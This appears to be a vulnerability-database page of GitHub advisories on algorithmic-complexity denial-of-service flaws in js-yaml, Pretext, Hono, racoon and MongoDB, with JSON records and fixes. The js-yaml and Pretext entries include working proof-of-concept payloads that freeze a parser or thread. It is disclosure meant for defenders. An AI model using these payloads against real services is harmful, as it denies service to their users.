js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59869"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:19:09Z",
    "nvd_published_at": "2026-07-08T16:16:33Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\njs-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:\n\n```yaml\na0: \u0026a0 { k0: 0 }\na1: \u0026a1 { \u003c\u003c: *a0, k1: 1 }\na2: \u0026a2 { \u003c\u003c: *a1, k2: 2 }\na3: \u0026a3 { \u003c\u003c: *a2, k3: 3 }\n...\nb: *aN\n```\n\nFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.\n\n### PoC\n\nFrom N = 4000 delay become \u003e 1s (doc size \u003c 100K)\n\n```js\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { Buffer } from \u0027node:buffer\u0027\nimport { load, YAML11_SCHEMA } from \u0027js-yaml\u0027\n\nconst n = Number(process.argv[2] || 4000)\n\nfunction makeMergeChain (count) {\n  const lines = [\u0027a0: \u0026a0 { k0: 0 }\u0027]\n\n  for (let i = 1; i \u003c count; i++) {\n    lines.push(`a${i}: \u0026a${i} { \u003c\u003c: *a${i - 1}, k${i}: ${i} }`)\n  }\n\n  lines.push(`b: *a${count - 1}`)\n  return `${lines.join(\u0027\\n\u0027)}\\n`\n}\n\nconst source = makeMergeChain(n)\n\nconsole.log(source.split(\u0027\\n\u0027).slice(0, 8).join(\u0027\\n\u0027))\nconsole.log(\u0027...\u0027)\nconsole.log(source.split(\u0027\\n\u0027).slice(-4).join(\u0027\\n\u0027))\nconsole.log()\nconsole.log(`N: ${n}`)\nconsole.log(`YAML size: ${Buffer.byteLength(source)} bytes`)\n\nconst started = performance.now()\nconst result = load(source, { schema: YAML11_SCHEMA })\nconst elapsed = performance.now() - started\n\nconsole.log(`parse time: ${elapsed.toFixed(1)} ms`)\nconsole.log(`top-level keys: ${Object.keys(result).length}`)\nconsole.log(`b keys: ${Object.keys(result.b).length}`)\n```\n\n### Patches\n\nFix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.",
  "id": "GHSA-52cp-r559-cp3m",
  "modified": "2026-07-20T21:19:10Z",
  "published": "2026-07-20T21:19:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59869"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodeca/js-yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/3.15.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/4.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-yaml: YAML merge-key chains can force quadratic CPU consumption"
}

GHSA-5478-66C3-RHXR

Vulnerability from github – Published: 2026-04-08 21:50 – Updated: 2026-04-08 21:50
VLAI
Summary
Pretext: Algorithmic Complexity (DoS) in the text analysis phase
Details

isRepeatedSingleCharRun() in src/analysis.ts (line 285) re-scans the entire accumulated segment on every merge iteration during text analysis, producing O(n²) total work for input consisting of repeated identical punctuation characters. An attacker who controls text passed to prepare() can block the main thread for ~20 seconds with 80KB of input (e.g., "(".repeat(80_000)).

Tested against commit 9364741d3562fcc65aacc50953e867a5cb9fdb23 (v0.0.4) on Node.js v24.12.0, Windows x64.

A standalone PoC and detailed write-up are attached below.

Root Cause

The buildMergedSegmentation() function (line 795) processes text segments produced by Intl.Segmenter. When consecutive non-word-like segments consist of the same single character (e.g., (, [, !, #), the code merges them into one growing segment (line 859):

// analysis.ts:849-859 - the merge branch inside the build loop
} else if (
  isText &&
  !piece.isWordLike &&
  mergedLen > 0 &&
  mergedKinds[mergedLen - 1] === 'text' &&
  piece.text.length === 1 &&
  piece.text !== '-' &&
  piece.text !== '—' &&
  isRepeatedSingleCharRun(mergedTexts[mergedLen - 1]!, piece.text)  // <- O(n) per call
) {
  mergedTexts[mergedLen - 1] += piece.text  // append to accumulator

Before each merge, it calls isRepeatedSingleCharRun() (line 857) to verify that ALL characters in the accumulated segment match the new character:

// analysis.ts:285-291
function isRepeatedSingleCharRun(segment: string, ch: string): boolean {
  if (segment.length === 0) return false
  for (const part of segment) {    // <- Iterates ENTIRE accumulated string
    if (part !== ch) return false
  }
  return true
}

Intl.Segmenter with granularity: 'word' produces individual non-word segments for each punctuation character. For a string of N identical punctuation characters, the merge check is called N times. On the k-th call, the accumulated segment is k characters long, so isRepeatedSingleCharRun performs k comparisons.

Total work: 1 + 2 + 3 + ... + N = N(N+1)/2 = O(n^2)

Call chain

prepare(text, font)                                          // layout.ts:472
  -> prepareInternal(text, font, ...)                        // layout.ts:424
    -> analyzeText(text, profile, whiteSpace='normal')       // layout.ts:430 -> analysis.ts:993
      -> buildMergedSegmentation(normalized, profile, ...)   // analysis.ts:1013 -> analysis.ts:795
        -> for each Intl.Segmenter segment:
          -> isRepeatedSingleCharRun(accumulated, newChar)   // line 857 -> line 285
            -> iterates entire accumulated string            // O(k) per call, k growing

Proof of Concept

The simplest payload is a string of repeated ( characters:

import { prepare } from '@chenglou/pretext'

// 80,000 characters -> ~20 seconds of main-thread blocking
const payload = '('.repeat(80_000)
prepare(payload, '16px Arial')  // Blocks for ~20 seconds

Any single character that meets these criteria works: 1. Classified as 'text' by classifySegmentBreakChar (analysis.ts:321) - i.e., not a space, NBSP, ZWSP, soft-hyphen, tab, or newline 2. Produced as individual non-word segments by Intl.Segmenter (word granularity) 3. Not - or em-dash (explicitly excluded at lines 855-856)

Working payload characters include: (, [, {, #, @, !, %, ^, ~, <, >, etc.

Impact

  • Chat/messaging applications: User sends an 80KB message of ( characters; the receiving client's UI thread freezes for ~20 seconds while rendering.
  • Comment/form systems: User-supplied text in any text field that uses pretext for layout measurement blocks the main thread.
  • Server-side rendering: If prepare() is called server-side (Node.js/Bun), a single request can consume 20+ seconds of CPU time per 80KB of payload.

The attack requires no authentication, special characters, or encoding tricks - just repeated ASCII punctuation. 80KB is well within typical text input limits.

As an application-level mitigation, callers can cap the length of text passed to prepare() before a library-level fix is available.

Suggested Fix

Replace the O(n) full-scan verification with O(1) constant-time checks. Since the merge only ever appends the same character to an existing repeated-char run, the invariant is maintained structurally:

Option A - Check only endpoints (O(1)):

function isRepeatedSingleCharRun(segment: string, ch: string): boolean {
  return segment.length > 0 && segment[0] === ch && segment[segment.length - 1] === ch
}

This works for the current code because this branch only fires after earlier merge branches (CJK, Myanmar, Arabic) have been skipped, and those branches produce segments that would not start and end with the same ASCII punctuation character. However, the safety relies on an emergent property of the branch ordering and the other merge branches. Future refactors that add new merge branches or reorder the existing ones could silently break the invariant.

Option B - Track with metadata Add a boolean lastMergeWasSingleCharRun alongside the accumulator arrays. Set it to true when a single-char merge succeeds, false when any other merge branch is taken. Check the flag instead of re-scanning the string.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.0.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@chenglou/pretext"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T21:50:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "`isRepeatedSingleCharRun()` in `src/analysis.ts` (line 285) re-scans the entire accumulated segment on every merge iteration during text analysis, producing O(n\u00b2) total work for input consisting of repeated identical punctuation characters. An attacker who controls text passed to `prepare()` can block the main thread for ~20 seconds with 80KB of input (e.g., `\"(\".repeat(80_000)`).\n\nTested against commit 9364741d3562fcc65aacc50953e867a5cb9fdb23 (v0.0.4) on Node.js v24.12.0, Windows x64.\n\nA standalone PoC and detailed write-up are attached below.\n\n---\n\n## Root Cause\n\nThe `buildMergedSegmentation()` function (line 795) processes text segments produced by `Intl.Segmenter`. When consecutive non-word-like segments consist of the same single character (e.g., `(`, `[`, `!`, `#`), the code merges them into one growing segment (line 859):\n\n```typescript\n// analysis.ts:849-859 - the merge branch inside the build loop\n} else if (\n  isText \u0026\u0026\n  !piece.isWordLike \u0026\u0026\n  mergedLen \u003e 0 \u0026\u0026\n  mergedKinds[mergedLen - 1] === \u0027text\u0027 \u0026\u0026\n  piece.text.length === 1 \u0026\u0026\n  piece.text !== \u0027-\u0027 \u0026\u0026\n  piece.text !== \u0027\u2014\u0027 \u0026\u0026\n  isRepeatedSingleCharRun(mergedTexts[mergedLen - 1]!, piece.text)  // \u003c- O(n) per call\n) {\n  mergedTexts[mergedLen - 1] += piece.text  // append to accumulator\n```\n\nBefore each merge, it calls `isRepeatedSingleCharRun()` (line 857) to verify that ALL characters in the accumulated segment match the new character:\n\n```typescript\n// analysis.ts:285-291\nfunction isRepeatedSingleCharRun(segment: string, ch: string): boolean {\n  if (segment.length === 0) return false\n  for (const part of segment) {    // \u003c- Iterates ENTIRE accumulated string\n    if (part !== ch) return false\n  }\n  return true\n}\n```\n\n`Intl.Segmenter` with `granularity: \u0027word\u0027` produces individual non-word segments for each punctuation character. For a string of N identical punctuation characters, the merge check is called N times. On the k-th call, the accumulated segment is k characters long, so `isRepeatedSingleCharRun` performs k comparisons.\n\nTotal work: `1 + 2 + 3 + ... + N = N(N+1)/2 = O(n^2)`\n\n### Call chain\n\n```\nprepare(text, font)                                          // layout.ts:472\n  -\u003e prepareInternal(text, font, ...)                        // layout.ts:424\n    -\u003e analyzeText(text, profile, whiteSpace=\u0027normal\u0027)       // layout.ts:430 -\u003e analysis.ts:993\n      -\u003e buildMergedSegmentation(normalized, profile, ...)   // analysis.ts:1013 -\u003e analysis.ts:795\n        -\u003e for each Intl.Segmenter segment:\n          -\u003e isRepeatedSingleCharRun(accumulated, newChar)   // line 857 -\u003e line 285\n            -\u003e iterates entire accumulated string            // O(k) per call, k growing\n```\n\n## Proof of Concept\n\nThe simplest payload is a string of repeated `(` characters:\n\n```typescript\nimport { prepare } from \u0027@chenglou/pretext\u0027\n\n// 80,000 characters -\u003e ~20 seconds of main-thread blocking\nconst payload = \u0027(\u0027.repeat(80_000)\nprepare(payload, \u002716px Arial\u0027)  // Blocks for ~20 seconds\n```\n\nAny single character that meets these criteria works:\n1. Classified as `\u0027text\u0027` by `classifySegmentBreakChar` (analysis.ts:321) - i.e., not a space, NBSP, ZWSP, soft-hyphen, tab, or newline\n2. Produced as individual non-word segments by `Intl.Segmenter` (word granularity)\n3. Not `-` or em-dash (explicitly excluded at lines 855-856)\n\nWorking payload characters include: `(`, `[`, `{`, `#`, `@`, `!`, `%`, `^`, `~`, `\u003c`, `\u003e`, etc.\n\n---\n\n## Impact\n\n- **Chat/messaging applications:** User sends an 80KB message of `(` characters;\n  the receiving client\u0027s UI thread freezes for ~20 seconds while rendering.\n- **Comment/form systems:** User-supplied text in any text field that uses\n  `pretext` for layout measurement blocks the main thread.\n- **Server-side rendering:** If `prepare()` is called server-side (Node.js/Bun),\n  a single request can consume 20+ seconds of CPU time per 80KB of payload.\n\nThe attack requires no authentication, special characters, or encoding tricks -\njust repeated ASCII punctuation. 80KB is well within typical text input limits.\n\nAs an application-level mitigation, callers can cap the length of text passed to\n`prepare()` before a library-level fix is available.\n\n## Suggested Fix\n\nReplace the O(n) full-scan verification with O(1) constant-time checks. \nSince the merge only ever appends the same character to an existing repeated-char run, the invariant is maintained structurally:\n\n**Option A - Check only endpoints (O(1)):**\n```typescript\nfunction isRepeatedSingleCharRun(segment: string, ch: string): boolean {\n  return segment.length \u003e 0 \u0026\u0026 segment[0] === ch \u0026\u0026 segment[segment.length - 1] === ch\n}\n```\nThis works for the current code because this branch only fires after earlier merge branches (CJK, Myanmar, Arabic) have been skipped, and those branches produce segments that would not start and end with the same ASCII punctuation character. However, the safety relies on an emergent property of the branch ordering and the other merge branches. Future refactors that add new merge branches or reorder the existing ones could silently break the invariant.\n\n**Option B - Track with metadata**\nAdd a boolean `lastMergeWasSingleCharRun` alongside the accumulator arrays. Set it to `true` when a single-char merge succeeds, `false` when any other merge branch is taken. Check the flag instead of re-scanning the string.",
  "id": "GHSA-5478-66c3-rhxr",
  "modified": "2026-04-08T21:50:51Z",
  "published": "2026-04-08T21:50:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/chenglou/pretext/security/advisories/GHSA-5478-66c3-rhxr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chenglou/pretext"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chenglou/pretext/releases/tag/v0.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pretext: Algorithmic Complexity (DoS) in the text analysis phase"
}

GHSA-54FX-42GC-7VW4

Vulnerability from github – Published: 2026-08-07 18:36 – Updated: 2026-08-07 18:36
VLAI
Summary
Hono: Algorithmic Complexity DoS in Language Middleware
Details

Summary

The languageDetector middleware is vulnerable to algorithmic complexity denial of service when processing a crafted language tag containing a large number of hyphen-separated subtags.

Details

To implement progressive language-tag truncation, normalizeLanguage() repeatedly calls parts.slice(0, i).join('-') for every possible prefix. The total amount of string processing grows quadratically with the number of subtags.

Language values may come from a query parameter, cookie, Accept-Language header, or URL path, depending on the detector configuration. The default detector order enables query-string, cookie, and header detection, so applications using languageDetector() may expose this processing to unauthenticated requests.

Request-size limits reduce the maximum cost of a single request but do not eliminate the issue. Inputs accepted by common JavaScript runtimes can still cause noticeable synchronous event-loop blocking.

Impact

An attacker may repeatedly send requests containing long, hyphen-separated language tags, causing excessive CPU consumption and preventing unrelated requests from being processed.

The practical impact depends on the runtime's request-size limits, reverse-proxy configuration, and the detectors enabled by the application.

Resolution

The progressive lookup should avoid reconstructing every shorter prefix. The implementation can instead inspect the configured supported languages and select the longest value that matches the input at a hyphen boundary.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hono"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.12.0"
            },
            {
              "fixed": "4.12.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-07T18:36:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `languageDetector` middleware is vulnerable to algorithmic complexity denial of service when processing a crafted language tag containing a large number of hyphen-separated subtags.\n\n### Details\n\nTo implement progressive language-tag truncation, `normalizeLanguage()` repeatedly calls `parts.slice(0, i).join(\u0027-\u0027)` for every possible prefix. The total amount of string processing grows quadratically with the number of subtags.\n\nLanguage values may come from a query parameter, cookie, `Accept-Language` header, or URL path, depending on the detector configuration. The default detector order enables query-string, cookie, and header detection, so applications using `languageDetector()` may expose this processing to unauthenticated requests.\n\nRequest-size limits reduce the maximum cost of a single request but do not eliminate the issue. Inputs accepted by common JavaScript runtimes can still cause noticeable synchronous event-loop blocking.\n\n### Impact\n\nAn attacker may repeatedly send requests containing long, hyphen-separated language tags, causing excessive CPU consumption and preventing unrelated requests from being processed.\n\nThe practical impact depends on the runtime\u0027s request-size limits, reverse-proxy configuration, and the detectors enabled by the application.\n\n### Resolution\n\nThe progressive lookup should avoid reconstructing every shorter prefix. The implementation can instead inspect the configured supported languages and select the longest value that matches the input at a hyphen boundary.",
  "id": "GHSA-54fx-42gc-7vw4",
  "modified": "2026-08-07T18:36:31Z",
  "published": "2026-08-07T18:36:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/security/advisories/GHSA-54fx-42gc-7vw4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/commit/f70e2c31684387b3231cc38512a31df6ca76a1c7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/honojs/hono"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/releases/tag/v4.12.34"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hono: Algorithmic Complexity DoS in Language Middleware"
}

GHSA-575V-PHRX-CJCP

Vulnerability from github – Published: 2022-05-17 02:24 – Updated: 2022-05-17 02:24
VLAI
Details

The racoon daemon in IPsec-Tools 0.8.2 contains a remotely exploitable computational-complexity attack when parsing and storing ISAKMP fragments. The implementation permits a remote attacker to exhaust computational resources on the remote endpoint by repeatedly sending ISAKMP fragment packets in a particular order such that the worst-case computational complexity is realized in the algorithm utilized to determine if reassembly of the fragments can take place.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-10396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-06T01:29:00Z",
    "severity": "HIGH"
  },
  "details": "The racoon daemon in IPsec-Tools 0.8.2 contains a remotely exploitable computational-complexity attack when parsing and storing ISAKMP fragments. The implementation permits a remote attacker to exhaust computational resources on the remote endpoint by repeatedly sending ISAKMP fragment packets in a particular order such that the worst-case computational complexity is realized in the algorithm utilized to determine if reassembly of the fragments can take place.",
  "id": "GHSA-575v-phrx-cjcp",
  "modified": "2022-05-17T02:24:48Z",
  "published": "2022-05-17T02:24:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10396"
    },
    {
      "type": "WEB",
      "url": "https://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=51682"
    },
    {
      "type": "WEB",
      "url": "http://cvsweb.netbsd.org/bsdweb.cgi/src/crypto/dist/ipsec-tools/src/racoon/isakmp_frag.c.diff?r1=1.5\u0026r2=1.5.36.1"
    },
    {
      "type": "WEB",
      "url": "http://cvsweb.netbsd.org/bsdweb.cgi/src/crypto/dist/ipsec-tools/src/racoon/isakmp_frag.c?only_with_tag=MAIN"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5F3W-W96Q-CW2F

Vulnerability from github – Published: 2026-07-22 21:32 – Updated: 2026-07-22 21:32
VLAI
Details

Certain query operations involving deeply nested $jsonSchema constructs can trigger disproportionate CPU consumption in affected MongoDB deployments, potentially leading to resource exhaustion. The resulting CPU-bound operation cannot be interrupted through standard administrative controls.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-13064"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-22T20:16:44Z",
    "severity": "HIGH"
  },
  "details": "Certain query operations involving deeply nested $jsonSchema constructs can trigger disproportionate CPU consumption in affected MongoDB deployments, potentially leading to resource exhaustion. The resulting CPU-bound operation cannot be interrupted through standard administrative controls.",
  "id": "GHSA-5f3w-w96q-cw2f",
  "modified": "2026-07-22T21:32:06Z",
  "published": "2026-07-22T21:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13064"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/SERVER-125872"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list